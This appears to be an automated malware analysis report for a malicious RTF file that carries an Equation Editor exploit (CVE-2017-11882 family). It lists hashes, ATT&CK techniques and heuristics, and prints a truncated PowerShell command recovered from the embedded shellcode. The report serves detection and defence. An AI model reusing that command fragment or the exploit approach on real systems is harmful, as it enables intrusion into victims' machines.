RTF malware analysis — malicious · 1c6dd651618ab193

MALICIOUS

RTF

7.9 KB First seen: 2020-12-28

MD5: 575e6158d81f43aa43ec91cd79094911 SHA-1: f4872377bf89a27ec08b3c03b35d49d531efbee6 SHA-256: 1c6dd651618ab1931082b1f5f75f148ed7f46a6eb38ad55c0e498a0d452f5d81

140 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object, specifically identified as an Equation Editor exploit. This exploit is designed to execute arbitrary code upon opening the document, likely leading to the download and execution of a secondary payload. The presence of shellcode command strings in the extracted artifact further supports this attack vector.

Heuristics 4

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000001c9.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x1C9	3580 bytes
SHA-256: `d16d1e4639e2c7df8a2792e77d6e2d9015ce784e98f5b2a335ca01e727ee0c51`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): powershell.exe -noexit -windowstyle maximized "$p=0;$u=$env:userprofile;$vl=$u+"""\Music\Saved Music\Windows Music""";if(![System.IO.Directory]::Exists($vl)){DO{try{$woE

Open this report in the interactive analyzer, or submit your own file for analysis.